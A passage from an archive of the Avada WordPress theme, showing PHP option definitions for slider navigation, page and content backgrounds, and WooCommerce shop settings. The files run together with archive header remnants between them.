Box Dimensions', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the navigation box.', 'Avada' ), 'id' => 'slider_nav_box_dimensions', 'units' => false, 'default' => [ 'width' => '30px', 'height' => '30px', ], 'type' => 'dimensions', 'css_vars' => [ [ 'name' => '--slider_nav_box_dimensions-width', 'choice' => 'width', ], [ 'name' => '--slider_nav_box_dimensions-height', 'choice' => 'height', ], ], ], 'slider_arrow_size' => [ 'label' => esc_html__( 'Navigation Arrow Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the navigation arrow.', 'Avada' ), 'id' => 'slider_arrow_size', 'default' => '14px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--slider_arrow_size', ], ], ], ], ]; return $sections; } Avada/includes/options/background.php000064400000031221152342437700013717 0ustar00 esc_html__( 'Background', 'Avada' ), 'id' => 'heading_background', 'priority' => 11, 'icon' => 'el-icon-photo', 'alt_icon' => 'fusiona-image', 'fields' => [ 'page_bg_subsection' => [ 'label' => esc_html__( 'Page Background', 'Avada' ), 'description' => '', 'id' => 'page_bg_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'bg_image' => [ 'label' => esc_html__( 'Background Image For Page', 'Avada' ), 'description' => esc_html__( 'Select an image to use for a full page background.', 'Avada' ), 'id' => 'bg_image', 'default' => '', 'mod' => '', 'type' => 'media', 'css_vars' => [ [ 'name' => '--bg_image', 'choice' => 'url', 'callback' => [ 'fallback_to_value', [ 'url("$")', 'none' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'has-image' ], 'element' => 'html', 'className' => 'avada-html-has-bg-image', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'bg_full' => [ 'label' => esc_html__( '100% Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to have the page background image display at 100% in width and height according to the window size.', 'Avada' ), 'id' => 'bg_full', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-bg-image-full', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'bg_repeat' => [ 'label' => esc_html__( 'Background Repeat', 'Avada' ), 'description' => esc_html__( 'Controls how the background image repeats.', 'Avada' ), 'id' => 'bg_repeat', 'default' => 'no-repeat', 'type' => 'select', 'choices' => [ 'repeat' => esc_html__( 'Repeat All', 'Avada' ), 'repeat-x' => esc_html__( 'Repeat Horizontally', 'Avada' ), 'repeat-y' => esc_html__( 'Repeat Vertically', 'Avada' ), 'no-repeat' => esc_html__( 'No Repeat', 'Avada' ), ], 'required' => [ [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'css_vars' => [ [ 'name' => '--bg_repeat', ], ], ], 'bg_color' => [ 'label' => esc_html__( 'Background Color For Page', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the page. When the color value is set to anything below 100% opacity, the color will overlay the background image if one is uploaded.', 'Avada' ), 'id' => 'bg_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--bg-color-overlay', 'callback' => [ 'return_color_if_opaque', [ 'transparent' => 'overlay', 'opaque' => 'normal', ], ], ], ], ], 'bg_pattern_option' => [ 'label' => esc_html__( 'Background Pattern', 'Avada' ), 'description' => esc_html__( 'Turn on to display a pattern in the page background.', 'Avada' ), 'id' => 'bg_pattern_option', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body,html', 'className' => 'avada-has-page-background-pattern', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'bg_pattern' => [ 'label' => esc_html__( 'Select a Background Pattern', 'Avada' ), 'id' => 'bg_pattern', 'default' => 'pattern1', 'type' => 'radio-image', 'choices' => [ 'pattern1' => Avada::$template_dir_url . '/assets/images/patterns/pattern1.png', 'pattern2' => Avada::$template_dir_url . '/assets/images/patterns/pattern2.png', 'pattern3' => Avada::$template_dir_url . '/assets/images/patterns/pattern3.png', 'pattern4' => Avada::$template_dir_url . '/assets/images/patterns/pattern4.png', 'pattern5' => Avada::$template_dir_url . '/assets/images/patterns/pattern5.png', 'pattern6' => Avada::$template_dir_url . '/assets/images/patterns/pattern6.png', 'pattern7' => Avada::$template_dir_url . '/assets/images/patterns/pattern7.png', 'pattern8' => Avada::$template_dir_url . '/assets/images/patterns/pattern8.png', 'pattern9' => Avada::$template_dir_url . '/assets/images/patterns/pattern9.png', 'pattern10' => Avada::$template_dir_url . '/assets/images/patterns/pattern10.png', 'pattern11' => Avada::$template_dir_url . '/assets/images/patterns/pattern11.png', 'pattern12' => Avada::$template_dir_url . '/assets/images/patterns/pattern12.png', 'pattern13' => Avada::$template_dir_url . '/assets/images/patterns/pattern13.png', 'pattern14' => Avada::$template_dir_url . '/assets/images/patterns/pattern14.png', 'pattern15' => Avada::$template_dir_url . '/assets/images/patterns/pattern15.png', 'pattern16' => Avada::$template_dir_url . '/assets/images/patterns/pattern16.png', 'pattern17' => Avada::$template_dir_url . '/assets/images/patterns/pattern17.png', 'pattern18' => Avada::$template_dir_url . '/assets/images/patterns/pattern18.png', 'pattern19' => Avada::$template_dir_url . '/assets/images/patterns/pattern19.png', 'pattern20' => Avada::$template_dir_url . '/assets/images/patterns/pattern20.png', 'pattern21' => Avada::$template_dir_url . '/assets/images/patterns/pattern21.png', 'pattern22' => Avada::$template_dir_url . '/assets/images/patterns/pattern22.png', ], 'required' => [ [ 'setting' => 'bg_pattern_option', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--bg_pattern', 'callback' => [ 'fallback_to_value', [ 'url("' . Avada::$template_dir_url . '/assets/images/patterns/$.png")', '' ] ], ], ], ], ], ], 'main_content_bg_subsection' => [ 'label' => esc_html__( 'Main Content Background', 'Avada' ), 'description' => '', 'id' => 'main_content_bg_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'content_bg_color' => [ 'label' => esc_html__( 'Main Content Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the main content area.', 'Avada' ), 'id' => 'content_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--content_bg_color', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'not-opaque' ], 'element' => 'html', 'className' => 'avada-content-bg-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'content_bg_image' => [ 'label' => esc_html__( 'Background Image For Main Content Area', 'Avada' ), 'description' => esc_html__( 'Select an image to use for the main content area background.', 'Avada' ), 'id' => 'content_bg_image', 'default' => '', 'mod' => '', 'type' => 'media', 'css_vars' => [ [ 'name' => '--content_bg_image', 'choice' => 'url', 'callback' => [ 'fallback_to_value', [ 'url("$")', 'none' ] ], ], ], ], 'content_bg_full' => [ 'label' => esc_html__( '100% Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to have the main content background image display at 100% in width and height according to the window size.', 'Avada' ), 'id' => 'content_bg_full', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '#main', 'className' => 'full-bg', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'content_bg_repeat' => [ 'label' => esc_html__( 'Background Repeat', 'Avada' ), 'description' => esc_html__( 'Controls how the background image repeats.', 'Avada' ), 'id' => 'content_bg_repeat', 'default' => 'no-repeat', 'type' => 'select', 'choices' => [ 'repeat' => esc_html__( 'Repeat All', 'Avada' ), 'repeat-x' => esc_html__( 'Repeat Horizontally', 'Avada' ), 'repeat-y' => esc_html__( 'Repeat Vertically', 'Avada' ), 'no-repeat' => esc_html__( 'No Repeat', 'Avada' ), ], 'required' => [ [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'content_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'css_vars' => [ [ 'name' => '--content_bg_repeat', ], ], ], ], ], ], ]; return $sections; } Avada/includes/options/woocommerce.php000064400000146563152342437700014137 0ustar00get( 'body_typography' ); $sections['woocommerce'] = ( Avada::$is_updating || class_exists( 'WooCommerce' ) ) ? [ 'label' => esc_html__( 'WooCommerce', 'Avada' ), 'id' => 'heading_woocommerce', 'priority' => 26, 'icon' => 'el-icon-shopping-cart', 'alt_icon' => 'fusiona-cart', 'fields' => [ 'general_woocommerce_options_subsection' => [ 'label' => esc_html__( 'General WooCommerce', 'Avada' ), 'description' => '', 'id' => 'general_woocommerce_options_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'woo_items' => [ 'label' => esc_html__( 'WooCommerce Number of Products per Page', 'Avada' ), 'description' => esc_html__( 'Controls the number of products that display per page. ', 'Avada' ), 'id' => 'woo_items', 'default' => '12', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '50', 'step' => '1', ], ], 'woocommerce_shop_page_columns' => [ 'label' => esc_html__( 'WooCommerce Number of Product Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns for the main shop page.', 'Avada' ), 'id' => 'woocommerce_shop_page_columns', 'default' => 4, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], 'update_callback' => [ [ 'condition' => 'is_shop', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_related_columns' => [ 'label' => esc_html__( 'WooCommerce Related/Up-Sell/Cross-Sell Product Number of Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns for the related and up-sell products on single posts and cross-sells on cart page.', 'Avada' ), 'id' => 'woocommerce_related_columns', 'default' => 4, 'type' => 'slider', 'choices' => [ 'min' => 0, 'max' => 6, 'step' => 1, ], 'transport' => 'refresh', 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-woo-related-columns-$', 'remove_attrs' => [ 'fusion-woo-related-columns-1', 'fusion-woo-related-columns-2', 'fusion-woo-related-columns-3', 'fusion-woo-related-columns-4', 'fusion-woo-related-columns-5', 'fusion-woo-related-columns-6' ], ], ], ], 'woocommerce_archive_page_columns' => [ 'label' => esc_html__( 'WooCommerce Archive Number of Product Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns for the archive pages.', 'Avada' ), 'id' => 'woocommerce_archive_page_columns', 'default' => 3, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], ], 'woocommerce_archive_grid_column_spacing' => [ 'label' => esc_html__( 'Column Spacing', 'Avada' ), 'description' => esc_html__( 'Controls the column spacing between products on WooCommerce product archives.', 'Avada' ), 'id' => 'woocommerce_archive_grid_column_spacing', 'default' => '40', 'type' => 'slider', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '300', 'edit' => 'yes', ], 'css_vars' => [ [ 'name' => '--woocommerce_archive_grid_column_spacing', 'value_pattern' => '$px', ], ], ], 'woocommerce_product_images_layout' => [ 'label' => esc_html__( 'WooCommerce Product Images Layout', 'Avada' ), 'description' => esc_html__( 'Set the layout for your product images.', 'Avada' ), 'id' => 'woocommerce_product_images_layout', 'type' => 'radio-buttonset', 'default' => 'avada', 'choices' => [ 'avada' => esc_html__( 'Avada', 'Avada' ), 'woocommerce' => esc_html__( 'WooCommerce', 'Avada' ), ], ], 'woocommerce_product_images_zoom' => [ 'label' => esc_html__( 'WooCommerce Product Images Zoom', 'Avada' ), 'description' => __( 'Turn on to enable the WooCommerce product images zoom feature. IMPORTANT NOTE: Every product image you use must be larger than the product images container for zoom to work correctly. See this post for more information.', 'Avada' ), 'id' => 'woocommerce_product_images_zoom', 'default' => '1', 'type' => 'switch', ], 'woocommerce_single_gallery_size' => [ 'label' => esc_html__( 'WooCommerce Product Images Width', 'Avada' ), 'description' => __( 'Controls the width of the single product page image gallery. For the image gallery zoom feature to work, the images you upload must be larger than the gallery size you select for this option. IMPORTANT NOTE: When this option is changed, you may need to adjust the Single Product Image size setting in WooCommerce Settings to make sure that one is larger and also regenerate thumbnails. See this post for more information.
', 'Avada' ), 'id' => 'woocommerce_single_gallery_size', 'default' => '500px', 'type' => 'dimension', 'choices' => [ 'px' ], 'css_vars' => [ [ 'name' => '--woocommerce_single_gallery_size', 'element' => '.avada-product-images-global .woocommerce-product-gallery', ], ], 'output' => [ [ 'element' => '.ltr .product .summary.entry-summary', 'property' => 'margin-left', 'value_pattern' => 'calc($ + 30px)', ], [ 'element' => '.rtl .product .summary.entry-summary', 'property' => 'margin-right', 'value_pattern' => 'calc($ + 30px)', ], ], ], 'woocommerce_gallery_thumbnail_width' => [ 'label' => esc_html__( 'WooCommerce Product Images Thumbnail Width', 'Avada' ), 'description' => __( 'Controls the natural image width of product page image gallery thumbnails. IMPORTANT NOTE: When this option is changed, you need to make sure to regenerate thumbnails. See this post for more information.
', 'Avada' ), 'id' => 'woocommerce_gallery_thumbnail_width', 'default' => 200, 'type' => 'slider', 'choices' => [ 'min' => 50, 'max' => 400, 'step' => 1, ], 'update_callback' => [ [ 'condition' => 'is_product', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_product_images_thumbnail_position' => [ 'label' => esc_html__( 'WooCommerce Product Images Thumbnail Position', 'Avada' ), 'description' => esc_html__( 'Set the position of the product page image gallery thumbnails with respect to the main gallery images.', 'Avada' ), 'id' => 'woocommerce_product_images_thumbnail_position', 'type' => 'radio-buttonset', 'default' => 'bottom', 'choices' => [ 'top' => esc_html__( 'Top', 'fusion-builder' ), 'right' => esc_html__( 'Right', 'fusion-builder' ), 'bottom' => esc_html__( 'Bottom', 'fusion-builder' ), 'left' => esc_html__( 'Left', 'fusion-builder' ), ], 'required' => [ [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'avada', ], ], ], 'woocommerce_product_images_thumbnail_column_width' => [ 'label' => esc_html__( 'WooCommerce Product Images Thumbnail Column Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the left/right column of product images thumbnails as a percentage of the full gallery width.', 'Avada' ), 'id' => 'woocommerce_product_images_thumbnail_column_width', 'default' => 15, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 100, 'step' => 1, ], 'css_vars' => [ [ 'name' => '--woocommerce_product_images_thumbnail_column_width', 'element' => '.avada-product-images-global .flex-control-thumbs', 'value_pattern' => '$%', ], ], 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'avada', ], [ 'setting' => 'woocommerce_product_images_thumbnail_position', 'operator' => '==', 'value' => 'right', ], [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'avada', ], [ 'setting' => 'woocommerce_product_images_thumbnail_position', 'operator' => '==', 'value' => 'left', ], ], 'update_callback' => [ [ 'condition' => 'is_product', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_gallery_thumbnail_columns' => [ 'label' => esc_html__( 'WooCommerce Product Images Thumbnails Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns of the single product page image gallery thumbnails. In order to avoid blurry thumbnails, make sure the "WooCommerce Product Images Thumbnails Width" option above is large enough. It has to be at least "WooCommerce Product Images Width" option divided by this number of columns.', 'Avada' ), 'id' => 'woocommerce_gallery_thumbnail_columns', 'default' => 4, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], 'class' => 'fusion-gutter-and-or-and-or', 'required' => [ [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'avada', ], [ 'setting' => 'woocommerce_product_images_thumbnail_position', 'operator' => '==', 'value' => 'top', ], [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'avada', ], [ 'setting' => 'woocommerce_product_images_thumbnail_position', 'operator' => '==', 'value' => 'bottom', ], [ 'setting' => 'woocommerce_product_images_layout', 'operator' => '==', 'value' => 'woocommerce', ], ], 'update_callback' => [ [ 'condition' => 'is_product', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_enable_quick_view' => [ 'label' => esc_html__( 'WooCommerce Product Quick View', 'Avada' ), 'description' => esc_html__( 'Turn on to enable product quick view for products.', 'Avada' ), 'id' => 'woocommerce_enable_quick_view', 'default' => '0', 'type' => 'switch', ], 'woocommerce_variations' => [ 'label' => esc_html__( 'WooCommerce Product Variation Swatches', 'Avada' ), 'description' => esc_html__( 'Turn on to enable color, button and image variation types.', 'Avada' ), 'id' => 'woocommerce_variations', 'default' => '1', 'type' => 'switch', ], 'woocommerce_avada_ordering' => [ 'label' => esc_html__( 'WooCommerce Shop Page Ordering Boxes', 'Avada' ), 'description' => esc_html__( 'Turn on to display the ordering boxes on the shop page.', 'Avada' ), 'id' => 'woocommerce_avada_ordering', 'default' => '1', 'type' => 'switch', ], 'woocommerce_disable_crossfade_effect' => [ 'label' => esc_html__( 'WooCommerce Shop Page Crossfade Image Effect', 'Avada' ), 'description' => esc_html__( 'Turn on to display the product crossfade image effect on the shop page.', 'Avada' ), 'id' => 'woocommerce_disable_crossfade_effect', 'default' => '1', 'type' => 'switch', ], 'woocommerce_one_page_checkout' => [ 'label' => esc_html__( 'WooCommerce One Page Checkout', 'Avada' ), 'description' => esc_html__( 'Turn on to use the one page checkout template.', 'Avada' ), 'id' => 'woocommerce_one_page_checkout', 'default' => '0', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_checkout', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_enable_order_notes' => [ 'label' => esc_html__( 'WooCommerce Order Notes on Checkout', 'Avada' ), 'description' => esc_html__( 'Turn on to display the order notes on the checkout page.', 'Avada' ), 'id' => 'woocommerce_enable_order_notes', 'default' => '1', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_checkout', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_acc_link_main_nav' => [ 'label' => esc_html__( 'WooCommerce My Account Link in Main Menu', 'Avada' ), 'description' => esc_html__( 'Turn on to display the "My Account" link in the main menu. Not compatible with Ubermenu.', 'Avada' ), 'id' => 'woocommerce_acc_link_main_nav', 'default' => '0', 'hidden' => $has_global_header, 'type' => 'switch', 'class' => 'fusion-or-gutter', // Partial refresh for the header. 'partial_refresh' => [ 'header_content_woocommerce_acc_link_main_nav_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_acc_link_main_nav_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_acc_link_main_nav' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'woocommerce_cart_link_main_nav' => [ 'label' => esc_html__( 'WooCommerce Cart Icon in Main Menu', 'Avada' ), 'description' => esc_html__( 'Turn on to display the cart icon in the main menu. Not compatible with Ubermenu.', 'Avada' ), 'id' => 'woocommerce_cart_link_main_nav', 'default' => '1', 'hidden' => $has_global_header, 'type' => 'switch', // Partial refresh for the header. 'partial_refresh' => [ 'header_content_woocommerce_cart_link_main_nav_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_link_main_nav_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_link_main_nav' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'woocommerce_cart_counter' => [ 'label' => esc_html__( 'WooCommerce Menu Cart Icon Counter', 'Avada' ), 'description' => esc_html__( 'Turn on to display the WooCommerce cart counter circle.', 'Avada' ), 'id' => 'woocommerce_cart_counter', 'default' => '0', 'hidden' => $has_global_header, 'type' => 'switch', // Partial refresh for the header. 'partial_refresh' => [ 'header_content_woocommerce_cart_counter_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_counter_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_counter' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'woocommerce_cart_link_top_nav' => [ 'label' => esc_html__( 'WooCommerce Cart Icon in Secondary Menu', 'Avada' ), 'description' => esc_html__( 'Turn on to display the cart icon in the secondary menu. Not compatible with Ubermenu.', 'Avada' ), 'id' => 'woocommerce_cart_link_top_nav', 'default' => '1', 'hidden' => $has_global_header, 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_woocommerce_cart_link_top_nav_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_link_top_nav_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_cart_link_top_nav' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'woocommerce_acc_link_top_nav' => [ 'label' => esc_html__( 'WooCommerce My Account Link in Secondary Menu', 'Avada' ), 'description' => esc_html__( 'Turn on to display the "My Account" link in the secondary menu. Not compatible with Ubermenu.', 'Avada' ), 'id' => 'woocommerce_acc_link_top_nav', 'default' => '1', 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_woocommerce_acc_link_top_nav_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_acc_link_top_nav_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_woocommerce_acc_link_top_nav' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'woocommerce_social_links' => [ 'label' => esc_html__( 'WooCommerce Social Icons', 'Avada' ), 'description' => esc_html__( 'Turn on to display the social icons on single product posts.', 'Avada' ), 'id' => 'woocommerce_social_links', 'default' => '1', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_product', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_toggle_grid_list' => [ 'label' => esc_html__( 'WooCommerce Product Grid / List View', 'Avada' ), 'description' => esc_html__( 'Turn on to display the grid/list toggle on the main shop page and archive shop pages.', 'Avada' ), 'id' => 'woocommerce_toggle_grid_list', 'default' => '1', 'type' => 'switch', ], 'woocommerce_product_view' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'WooCommerce Product Default View', 'Avada' ), 'description' => esc_html__( 'Sets the default product view for shop page and product archive pages.', 'Avada' ), 'id' => 'woocommerce_product_view', 'default' => 'grid', 'choices' => [ 'grid' => esc_html__( 'Grid', 'Avada' ), 'list' => esc_html__( 'List', 'Avada' ), ], ], 'woocommerce_load_cart_fragments' => [ 'label' => esc_html__( 'WooCommerce Load Cart Fragments Script', 'Avada' ), 'description' => esc_html__( 'Turn on to load the cart fragments script on all WooComemrce pages. This will enable AJAX driven updates of the cart and mini cart, but can be resource intensive on large shops.', 'Avada' ), 'id' => 'woocommerce_load_cart_fragments', 'default' => '0', 'type' => 'switch', ], 'woocommerce_single_ajax_cart' => [ 'label' => esc_html__( 'WooCommerce Single Product Ajax Add to Cart', 'Avada' ), 'description' => esc_html__( 'Turn on to enable single product ajax Add to Cart.', 'Avada' ), 'id' => 'woocommerce_single_ajax_cart', 'default' => '0', 'type' => 'switch', ], 'woo_acc_msg_1' => [ 'label' => esc_html__( 'WooCommerce Account Area Message 1', 'Avada' ), 'description' => esc_html__( 'Controls the text that displays in the first message box on the account page.', 'Avada' ), 'id' => 'woo_acc_msg_1', 'default' => 'Need Assistance? Call customer service at 888-555-5555.', 'type' => 'textarea', 'partial_refresh' => [ 'partial_woo_acc_msg_1' => [ 'selector' => '.avada-myaccount-user', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'wc_top_user_container' ], ], ], ], 'woo_acc_msg_2' => [ 'label' => esc_html__( 'WooCommerce Account Area Message 2', 'Avada' ), 'description' => esc_html__( 'Controls the text that displays in the second message box on the account page.', 'Avada' ), 'id' => 'woo_acc_msg_2', 'default' => 'E-mail them at info@yourshop.com', 'type' => 'textarea', 'partial_refresh' => [ 'partial_woo_acc_msg_2' => [ 'selector' => '.avada-myaccount-user', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'wc_top_user_container' ], ], ], ], ], ], 'woocommerce_styling_options_subsection' => [ 'label' => esc_html__( 'WooCommerce Styling', 'Avada' ), 'description' => '', 'id' => 'woocommerce_styling_options_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'woocommerce_product_box_design' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'WooCommerce Product Box Design', 'Avada' ), 'description' => esc_html__( 'Controls the design of the product boxes.', 'Avada' ), 'id' => 'woocommerce_product_box_design', 'default' => 'classic', 'choices' => [ 'classic' => esc_html__( 'Classic', 'Avada' ), 'clean' => esc_html__( 'Clean', 'Avada' ), ], ], 'woocommerce_product_box_content_padding' => [ 'label' => esc_html__( 'WooCommerce Product Box Content Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding of the products contents.', 'Avada' ), 'id' => 'woocommerce_product_box_content_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '20px', 'bottom' => '15px', 'left' => '15px', 'right' => '15px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--woocommerce_product_box_content_padding-top', 'choice' => 'top', ], [ 'name' => '--woocommerce_product_box_content_padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--woocommerce_product_box_content_padding-left', 'choice' => 'left', ], [ 'name' => '--woocommerce_product_box_content_padding-right', 'choice' => 'right', ], ], ], 'product_width_100' => [ 'label' => esc_html__( '100% Width Page', 'Avada' ), 'description' => esc_html__( 'Turn on to display product posts at 100% browser width according to the window size. Turn off to follow site width.', 'Avada' ), 'id' => 'product_width_100', 'default' => '0', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_product', 'operator' => '===', 'value' => true, ], ], ], 'woocommerce_equal_heights' => [ 'label' => esc_html__( 'Equal Heights', 'Avada' ), 'description' => esc_html__( 'Turn on to display grid boxes with equal heights per row.', 'Avada' ), 'id' => 'woocommerce_equal_heights', 'default' => 0, 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'fusion-woocommerce-equal-heights', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'woocommerce_product_tab_design' => [ 'label' => esc_html__( 'WooCommerce Tab Design', 'Avada' ), 'description' => esc_html__( 'Controls the design of all WooCommerce tabs.', 'Avada' ), 'id' 